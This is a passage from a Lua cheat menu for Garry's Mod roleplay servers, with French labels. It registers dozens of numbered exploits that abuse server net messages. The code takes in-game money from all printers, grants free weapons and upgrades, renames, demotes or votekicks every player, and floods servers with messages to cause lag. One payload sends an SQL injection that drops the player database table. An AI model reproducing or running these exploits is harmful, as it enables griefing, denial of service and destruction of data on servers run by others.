8189CHATPRINT("Exploit Trouvé : Changer De Niveau [REPAdminChangeLVL]")
8190addExploit( "68","Admin Change Level", "free lvl", function()
8191surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8192for k,v in pairs(player.GetAll()) do
8193net.Start("REPAdminChangeLVL")
8194net.WriteEntity(v)
8195net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
8196net.SendToServer()
8197end
8198end )
8199end
8200
8201status = ValidNetString("BuyUpgradesStuff")
8202if (status) then
8203CHATPRINT("Exploit Trouvé : Achetez Amélioration [BuyUpgradesStuff]")
8204addExploit( "69","Buy Upgrades", "free upgrades", function()
8205surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8206net.Start("BuyUpgradesStuff")
8207net.WriteString("")
8208net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
8209net.SendToServer()
8210end )
8211end
8212
8213status = ValidNetString("SquadGiveWeapon")
8214if (status) then
8215CHATPRINT("Exploit Trouvé : Give Arme [SquadGiveWeapon]")
8216addExploit( "70","Donnez Des Armes", "easy weapon", function()
8217surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8218inputFrame = vgui.Create( "DFrame" )
8219inputFrame:SetTitle("Choisi une arme!")
8220inputFrame:SetSize( 400, 75 )
8221inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8222inputFrame:SetDraggable(true)
8223inputFrame:ShowCloseButton(true)
8224inputFrame:MakePopup()
8225inputFrame.Paint = function( self, w, h )
8226draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8227end
8228local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8229TextEntry:SetSize( 380, 30 )
8230TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8231TextEntry:SetText( "ls_sniper" )
8232TextEntry.OnEnter = function( self )
8233surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Giving Weapon")
8234net.Start("SquadGiveWeapon")
8235net.WriteString( self:GetValue() )
8236net.WriteEntity(LocalPlayer())
8237net.SendToServer()
8238inputFrame:SetVisible(false)
8239end
8240end )
8241end
8242
8243status = ValidNetString("SetTableTarget")
8244if (status) then
8245CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
8246addExploit( "71","Set Table Target", "", function()
8247surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8248net.Start("SetTableTarget")
8249net.WriteString("pername")
8250net.WriteString("perjob")
8251net.WriteInt(-10000000000000, 32)
8252net.WriteString("hitmansel")
8253net.WriteString("Anony.")
8254net.WriteString("")
8255net.WriteFloat(0)
8256net.WriteInt(-10000000000000, 32)
8257net.SendToServer()
8258end )
8259end
8260
8261status = ValidNetString("UpdateRPUModelSQL")
8262if (status) then
8263CHATPRINT("Exploit Trouvé : Change character model [UpdateRPUModelSQL]")
8264addExploit( "72","Change character model", "", function()
8265surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8266net.Start("UpdateRPUModelSQL")
8267net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
8268net.SendToServer()
8269end )
8270end
8271
8272status = ValidNetString("disguise")
8273if (status) then
8274CHATPRINT("Exploit Trouvé : Disguise [disguise]")
8275addExploit( "73","Disguise", "allows you to disguise as any job", function()
8276surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8277inputFrame = vgui.Create( "DFrame" )
8278inputFrame:SetTitle("Enter the number of the job")
8279inputFrame:SetSize( 400, 75 )
8280inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8281inputFrame:SetDraggable(true)
8282inputFrame:ShowCloseButton(true)
8283inputFrame:MakePopup()
8284inputFrame.Paint = function( self, w, h )
8285draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8286end
8287local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8288TextEntry:SetSize( 380, 30 )
8289TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8290TextEntry:SetText( "5" )
8291TextEntry.OnEnter = function( self )
8292surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Déguisé")
8293net.Start("disguise")
8294net.WriteInt(tonumber(self:GetValue()), 32)
8295net.SendToServer()
8296inputFrame:SetVisible(false)
8297end
8298end )
8299end
8300
8301status = ValidNetString("gportal_rpname_change")
8302if (status) then
8303CHATPRINT("Exploit Trouvé : Nom RP #1 [gportal_rpname_change]")
8304addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
8305surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8306inputFrame = vgui.Create( "DFrame" )
8307inputFrame:SetTitle("Entrer Votre Nom")
8308inputFrame:SetSize( 400, 75 )
8309inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8310inputFrame:SetDraggable(true)
8311inputFrame:ShowCloseButton(true)
8312inputFrame:MakePopup()
8313inputFrame.Paint = function( self, w, h )
8314draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8315end
8316local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8317TextEntry:SetSize( 380, 30 )
8318TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8319TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8320TextEntry.OnEnter = function( self )
8321surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Changé")
8322net.Start("gportal_rpname_change")
8323net.WriteString( (self:GetValue()), 32)
8324net.WriteString(" ")
8325net.SendToServer()
8326inputFrame:SetVisible(false)
8327end
8328end )
8329end
8330
8331status = ValidNetString("NewRPNameSQL")
8332if (status) then
8333CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
8334addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
8335surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8336inputFrame = vgui.Create( "DFrame" )
8337inputFrame:SetTitle("Enter your name")
8338inputFrame:SetSize( 400, 75 )
8339inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8340inputFrame:SetDraggable(true)
8341inputFrame:ShowCloseButton(true)
8342inputFrame:MakePopup()
8343inputFrame.Paint = function( self, w, h )
8344draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8345end
8346local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8347TextEntry:SetSize( 380, 30 )
8348TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8349TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8350TextEntry.OnEnter = function( self )
8351surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Changé")
8352net.Start("NewRPNameSQL")
8353net.WriteString( (self:GetValue()), 32)
8354net.SendToServer()
8355inputFrame:SetVisible(false)
8356end
8357end )
8358end
8359
8360status = ValidNetString("chname")
8361if (status) then
8362CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
8363addExploit( "76","Your RP Name #3", "", function()
8364surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8365inputFrame = vgui.Create( "DFrame" )
8366inputFrame:SetTitle("Enter your name")
8367inputFrame:SetSize( 400, 75 )
8368inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8369inputFrame:SetDraggable(true)
8370inputFrame:ShowCloseButton(true)
8371inputFrame:MakePopup()
8372inputFrame.Paint = function( self, w, h )
8373draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8374end
8375local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8376TextEntry:SetSize( 380, 30 )
8377TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8378TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
8379TextEntry.OnEnter = function( self )
8380surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Changé")
8381net.Start("chname")
8382net.WriteString( (self:GetValue()) )
8383net.WriteString(" ")
8384net.SendToServer()
8385inputFrame:SetVisible(false)
8386end
8387end )
8388end
8389
8390status = ValidNetString("AbilityUse")
8391if (status) then
8392CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
8393addExploit( "77","Free Bonus", "allows you to instantly get bonuses", function()
8394surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") for k, v in ipairs(rp.abilities.list) do
8395CHATPRINT("ID - "..k.." | "..v:GetName())
8396inputFrameExists = true
8397inputFrame = vgui.Create( "DFrame" )
8398inputFrame:SetTitle("Enter the id of the bonus")
8399inputFrame:SetSize( 400, 75 )
8400inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8401inputFrame:SetDraggable(true)
8402inputFrame:ShowCloseButton(true)
8403inputFrame:MakePopup()
8404inputFrame.Paint = function( self, w, h )
8405draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8406end
8407local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8408TextEntry:SetSize( 380, 30 )
8409TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8410TextEntry:SetText( "6" )
8411TextEntry.OnEnter = function( self )
8412surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Reçu")
8413net.Start("AbilityUse")
8414net.WriteInt(tonumber(self:GetValue()), 32)
8415net.SendToServer()
8416inputFrame:SetVisible(false)
8417end
8418end
8419end )
8420end
8421
8422status = ValidNetString("race_accept")
8423if (status) then
8424CHATPRINT("Exploit Trouvé : Recevoir Véhicule [race_accept]")
8425addExploit( "78","Recevoir Véhicule", "", function()
8426surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8427inputFrame = vgui.Create( "DFrame" )
8428inputFrame:SetTitle("Enter the id of the car")
8429inputFrame:SetSize( 400, 75 )
8430inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8431inputFrame:SetDraggable(true)
8432inputFrame:ShowCloseButton(true)
8433inputFrame:MakePopup()
8434inputFrame.Paint = function( self, w, h )
8435draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8436end
8437local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8438TextEntry:SetSize( 380, 30 )
8439TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8440TextEntry:SetText( "1" )
8441TextEntry.OnEnter = function( self )
8442surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8443net.Start("race_accept")
8444net.WriteInt(tonumber(self:GetValue()), 32)
8445net.SendToServer()
8446end
8447end )
8448end
8449
8450status = ValidNetString("NLR_Spawn")
8451if (status) then
8452CHATPRINT("Exploit Trouvé : ReSpawn #3 [NLR_Spawn]")
8453addExploit( "79","ReSpawn #3", "instant revival", function()
8454surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8455net.Start("NLR_Spawn")
8456net.WriteEntity(LocalPlayer())
8457net.SendToServer()
8458end )
8459end
8460
8461status = ValidNetString("Kun_ZiptieStruggle")
8462if (status) then
8463CHATPRINT("Exploit Trouvé : Casser Menottess [Kun_ZiptieStruggle]")
8464addExploit( "80","Casser Menottess", "Instantly breaks the handcuffs", function()
8465surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8466for i=0,30 do
8467net.Start("Kun_ZiptieStruggle")
8468net.SendToServer()
8469end
8470end )
8471end
8472
8473status = ValidNetString("JB_Votekick")
8474if (status) then
8475CHATPRINT("Exploit Trouvé : Votekick Massif [JB_Votekick]")
8476addExploit( "81","Votekick Massif", "Kick Tous Le Monde", function()
8477surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8478for k,v in pairs(player.GetAll()) do
8479net.Start("JB_Votekick")
8480net.WriteEntity(v)
8481net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
8482net.SendToServer()
8483end
8484end )
8485end
8486
8487status = ValidNetString("Letthisdudeout")
8488if (status) then
8489CHATPRINT("Exploit Trouvé : Arret Forcé [Letthisdudeout]")
8490addExploit( "82","Arret Forcé", "exploit on all Byb servers to bail yourself out", function()
8491surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8492net.Start("Letthisdudeout")
8493net.WriteEntity(LocalPlayer())
8494net.SendToServer()
8495end )
8496end
8497
8498status = ValidNetString("opr_withdraw")
8499if (status) then
8500CHATPRINT("Exploit Trouvé : Crée Des Lags #14 [opr_withdraw]")
8501addExploit( "83","Crée Des Lags #14", "", function()
8502surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8503timer.Create("lagger14", 0,0, function()
8504for i = 1, 1000 do
8505net.Start("opr_withdraw",true)
8506net.WriteEntity(LocalPlayer())
8507net.SendToServer()
8508end
8509end )
8510end )
8511end
8512
8513status = ValidNetString("NC_GetNameChange")
8514if (status) then
8515CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
8516addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
8517surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") inputFrameExists = true
8518inputFrame = vgui.Create( "DFrame" )
8519inputFrame:SetTitle("Enter the name")
8520inputFrame:SetSize( 400, 75 )
8521inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8522inputFrame:SetDraggable(true)
8523inputFrame:ShowCloseButton(true)
8524inputFrame:MakePopup()
8525inputFrame.Paint = function( self, w, h )
8526draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8527end
8528local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8529TextEntry:SetSize( 380, 30 )
8530TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8531TextEntry:SetText( "AHAHAHAHAH" )
8532TextEntry.OnEnter = function( self )
8533surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8534for k, v in pairs( player.GetAll() ) do
8535net.Start("NC_GetNameChange")
8536net.WriteEntity(v)
8537net.WriteString( (self:GetValue()) )
8538net.WriteString( (self:GetValue()) )
8539net.SendToServer()
8540end
8541end
8542end )
8543end
8544
8545status = ValidNetString("revival_revive_accept")
8546if (status) then
8547CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
8548addExploit( "85","Reanimation #2", "instant revival, ", function()
8549surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "exploit_revive" ) then
8550--( "Enabled" )
8551timer.Create( "exploit_revive", 0.5, 0, function()
8552if !LocalPlayer():Alive() then
8553net.Start("revival_revive_accept")
8554net.SendToServer()
8555end
8556end )
8557else
8558timer.Remove( "exploit_revive" )
8559--( "Disabled" )
8560end
8561end )
8562end
8563
8564status = ValidNetString("join_disconnect")
8565if (status) then
8566CHATPRINT("Exploit Trouvé : Crée Des Lags #15 [join_disconnect]")
8567addExploit( "86","Crée Des Lags #15", "b1g lags my duder", function()
8568surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8569if not timer.Exists("lagger15") then
8570timer.Create("lagger15", 0.5, 0, function()
8571for i = 1, 3000 do
8572net.Start("join_disconnect",true)
8573net.WriteEntity(table.Random(player.GetAll()))
8574net.SendToServer()
8575end
8576end)
8577else
8578timer.Remove("lagger15")
8579--("Stopping")
8580end
8581end )
8582end
8583
8584status = ValidNetString("BuyFirstTovar")
8585if (status) then
8586CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
8587addExploit( "87","Free Physgun", "get physgun", function()
8588surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Take physgun")
8589net.Start("BuyFirstTovar")
8590net.WriteString("0")
8591net.SendToServer()
8592end )
8593end
8594
8595status = ValidNetString("BuySecondTovar")
8596if (status) then
8597CHATPRINT("Exploit Trouvé : Gravity Gun Gratuit [BuySecondTovar]")
8598addExploit( "88","Gravity Gun Gratuit", "Pas Trop Utile Mais Tjr Cool :)", function()
8599surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Take gravitygun")
8600net.Start("BuySecondTovar")
8601net.WriteString("0")
8602net.SendToServer()
8603end )
8604end
8605
8606status = ValidNetString("MONEY_SYSTEM_GetWeapons")
8607if (status) then
8608CHATPRINT("Exploit Trouvé : Donnez Des Armes #2 [MONEY_SYSTEM_GetWeapons]")
8609addExploit( "89","Donnez Des Armes #2", "get weapons", function()
8610surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8611for i = 1,32 do
8612net.Start("MONEY_SYSTEM_GetWeapons")
8613net.WriteInt(i, 8)
8614net.SendToServer()
8615end
8616end )
8617end
8618
8619status = ValidNetString("MCon_Demote_ToServer")
8620if (status) then
8621CHATPRINT("Exploit Trouvé : Demote Tout Les Joueurs #2 [MCon_Demote_ToServer]")
8622addExploit( "90","Demote Tout Les Joueurs #2", "demote all players", function()
8623surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8624for k,v in pairs(player.GetAll()) do
8625net.Start("MCon_Demote_ToServer")
8626net.WriteString(v:SteamID())
8627net.SendToServer()
8628end
8629end )
8630end
8631
8632status = ValidNetString("withdrawMoney")
8633if (status) then
8634CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3 [withdrawMoney]")
8635addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all printers, ", function()
8636surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8637for k, v in pairs(ents.GetAll()) do
8638net.Start("withdrawMoney")
8639net.WriteEntity(v)
8640net.SendToServer()
8641end
8642end )
8643end
8644
8645status = ValidNetString("withdrawMoney")
8646if (status) then
8647CHATPRINT("Exploit Trouvé : Crée Des Lags #16 [withdrawMoney]")
8648addExploit( "92","Crée Des Lags #16", "", function()
8649surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8650timer.Create("lagger16", 0, 0, function()
8651for i=1,1000 do
8652net.Start("withdrawMoney",true)
8653net.WriteEntity(LocalPlayer())
8654net.SendToServer()
8655end
8656end )
8657end )
8658end
8659
8660status = ValidNetString("SyncPrinterButtons76561198027292625")
8661if (status) then
8662CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4 [SyncPrinterButtons76561198027292625]")
8663addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all printers", function()
8664surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8665for k, v in pairs(ents.GetAll()) do
8666net.Start("SyncPrinterButtons76561198027292625")
8667net.WriteEntity(v)
8668net.WriteUInt(2, 4)
8669net.SendToServer()
8670end
8671end )
8672end
8673
8674status = ValidNetString("gPrinters.retrieveMoney")
8675if (status) then
8676CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5 [gPrinters.retrieveMoney]")
8677addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all printers, ", function()
8678surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8679for k, v in pairs(ents.GetAll()) do
8680net.Start("gPrinters.retrieveMoney")
8681net.WriteEntity(v)
8682net.SendToServer()
8683end
8684end )
8685end
8686
8687status = ValidNetString("gPrinters.retrieveMoney")
8688if (status) then
8689CHATPRINT("Exploit Trouvé : Crée Des Lags #17 [gPrinters.retrieveMoney]")
8690addExploit( "95","Crée Des Lags #17", "", function()
8691surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8692timer.Create("lagger17", 0, 0, function()
8693for i=1,1000 do
8694net.Start("gPrinters.retrieveMoney",true)
8695net.WriteEntity(LocalPlayer())
8696net.SendToServer()
8697end
8698end )
8699end )
8700end
8701
8702status = ValidNetString("NGII_TakeMoney")
8703if (status) then
8704CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6 [NGII_TakeMoney]")
8705addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all printers", function()
8706surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8707for k, v in pairs(ents.GetAll()) do
8708net.Start("NGII_TakeMoney")
8709net.WriteEntity(v)
8710net.WriteEntity(LocalPlayer())
8711net.SendToServer()
8712end
8713end )
8714end
8715
8716status = ValidNetString("money_clicker_withdraw")
8717if (status) then
8718CHATPRINT("Exploit Trouvé : Crée Des Lags #18 [money_clicker_withdraw]")
8719addExploit( "97","Crée Des Lags #18", "", function()
8720surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8721timer.Create("lagger18", 0, 0, function()
8722for i=1,1000 do
8723net.Start("money_clicker_withdraw",true)
8724net.WriteEntity(LocalPlayer())
8725net.SendToServer()
8726end
8727end )
8728end )
8729end
8730
8731status = ValidNetString("opr_withdraw")
8732if (status) then
8733CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
8734addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all printers", function()
8735surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8736for k, v in pairs(ents.GetAll()) do
8737net.Start("opr_withdraw")
8738net.WriteEntity(v)
8739net.SendToServer()
8740end
8741end )
8742end
8743
8744status = ValidNetString("NET_DoPrinterAction")
8745if (status) then
8746CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8 [NET_DoPrinterAction]")
8747addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all printers", function()
8748surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8749for k, v in pairs(ents.GetAll()) do
8750if v:GetClass():find("print") then
8751net.Start("NET_DoPrinterAction")
8752net.WriteEntity(LocalPlayer())
8753net.WriteEntity(v)
8754net.WriteInt(2,16)
8755net.SendToServer()
8756end
8757end
8758end )
8759end
8760
8761status = ValidNetString("tickbooksendfine")
8762if (status) then
8763CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
8764addExploit( "100","Ticket Book", "allows you to write a fine to all players, ", function()
8765surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8766local reasonstable = {"Nice nan ? :D"}
8767for k, v in pairs(player.GetAll()) do
8768if v != LocalPlayer() then
8769net.Start("tickbooksendfine")
8770net.WriteString(v:SteamID())
8771net.WriteTable(reasonstable)
8772net.WriteDouble(1500, 32)
8773net.SendToServer()
8774end
8775end
8776end )
8777end
8778
8779status = ValidNetString("SyncPrinterButtons16690")
8780if (status) then
8781CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9 [SyncPrinterButtons16690]")
8782addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all printers", function()
8783surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8784for k, v in pairs(ents.GetAll()) do
8785if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8786net.Start("SyncPrinterButtons16690")
8787net.WriteEntity(v)
8788net.WriteUInt(2, 4)
8789net.SendToServer()
8790end
8791end
8792end)
8793end
8794
8795status = ValidNetString("withdrawp")
8796if (status) then
8797CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #10 [withdrawp]")
8798addExploit( "102","Voler L'argents De Tous #10", "withdraw money from all printers", function()
8799surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8800for k,v in pairs(ents.FindByClass("derma_printer")) do
8801net.Start("withdrawp")
8802net.WriteEntity(v)
8803net.SendToServer()
8804end
8805end)
8806end
8807
8808status = ValidNetString("withdrawp")
8809if (status) then
8810CHATPRINT("Exploit Trouvé : Crée Des Lags #19 [withdrawp]")
8811addExploit( "103","Crée Des Lags #19", "", function()
8812surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8813timer.Create("lagger19", 0, 0, function()
8814for i=1,1000 do
8815net.Start("withdrawp",true)
8816net.WriteEntity(LocalPlayer())
8817net.SendToServer()
8818end
8819end )
8820end )
8821end
8822
8823status = ValidNetString("DarkRP_SS_Gamble")
8824if (status) then
8825CHATPRINT("Exploit Trouvé : Argent Gratuite #3 [DarkRP_SS_Gamble]")
8826addExploit( "104","Argent Gratuite #3", "Exploit Provenant De L'addon 'DarkRP Casino'", function()
8827surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8828net.Start("DarkRP_SS_Gamble")
8829net.WriteInt(99999, 32)
8830net.WriteInt(1, 32)
8831net.WriteInt(0, 32)
8832net.WriteInt(0, 32)
8833net.WriteInt(1, 32)
8834net.SendToServer()
8835end )
8836end
8837
8838status = ValidNetString("PCAdd")
8839if (status) then
8840CHATPRINT("Exploit Trouvé : Supprimer Code Promo [PCAdd]")
8841addExploit( "105","Supprimer Code Promo", "delete all promocodes", function()
8842surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8843net.Start("PCAdd")
8844net.WriteString("alahman")
8845net.WriteString("300000000")
8846net.SendToServer()
8847timer.Simple(3,function()
8848net.Start("ActivatePC")
8849net.WriteString("alahman")
8850net.SendToServer()
8851net.Start("PCDelAll")
8852net.SendToServer()
8853end )
8854end )
8855end
8856
8857status = ValidNetString("viv_hl2rp_disp_message")
8858if (status) then
8859CHATPRINT("Exploit Trouvé : HL2 Message Vocal [viv_hl2rp_disp_message]")
8860addExploit( "106","HL2 Message Vocal", "hl2 voice commands", function()
8861surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8862for name, command in pairs (dispatchCommands) do
8863net.Start("viv_hl2rp_disp_message")
8864net.WriteString(command)
8865net.SendToServer()
8866end
8867end )
8868end
8869
8870status = ValidNetString("Kun_SellDrug")
8871if (status) then
8872CHATPRINT("Exploit Trouvé : Argent Gratuite #4 [Kun_SellDrug]")
8873addExploit( "107","Argent Gratuite #4", "get monies", function()
8874surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "freemoney4" ) then
8875--("Démarré")
8876timer.Create( "freemoney4", 0, 0, function()
8877for i=1,1000 do
8878net.Start("Kun_SellDrug")
8879net.WriteString("mushroom")
8880net.SendToServer()
8881end
8882end)
8883else
8884timer.Remove( "freemoney4" )
8885--("Stopping")
8886end
8887end )
8888end
8889
8890status = ValidNetString("net_PSUnBoxServer")
8891if (status) then
8892CHATPRINT("Exploit Trouvé : Point Shop Unbox [net_PSUnBoxServer]")
8893addExploit( "108","Point Shop Unbox", "Exploit Provenant De L'addon 'Point Shop", function()
8894surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8895for k,v in pairs(player.GetAll()) do
8896local i = 0
8897for k2,v2 in pairs(PS.Items) do
8898if !v:PS_HasItem(v2.ID) then
8899timer.Simple(k*i*1.7,function()
8900net.Start("net_PSUnBoxServer")
8901net.WriteEntity(v)
8902net.WriteString(v2.ID)
8903net.SendToServer()
8904end)
8905i = i + 1
8906end
8907end
8908end
8909end )
8910end
8911
8912status = ValidNetString("pplay_sendtable")
8913if (status) then
8914CHATPRINT("Exploit Trouvé : ☢ Détruire La BDMenu SQL ☢ [pplay_sendtable]")
8915addExploit( "109","☢ Détruire La BDMenu SQL ☢", "Tout Détruire", function()
8916surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8917local tbl = {}
8918tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
8919tbl.ply = LocalPlayer()
8920net.Start("pplay_sendtable")
8921net.WriteTable(tbl)
8922net.SendToServer()
8923end )
8924end
8925
8926status = ValidNetString("75_plus_win")
8927if (status) then
8928CHATPRINT("Exploit Trouvé : Argent Gratuite #5 [75_plus_win]")
8929addExploit( "110","Argent Gratuite #5", "Recevoir De L'Argent", function()
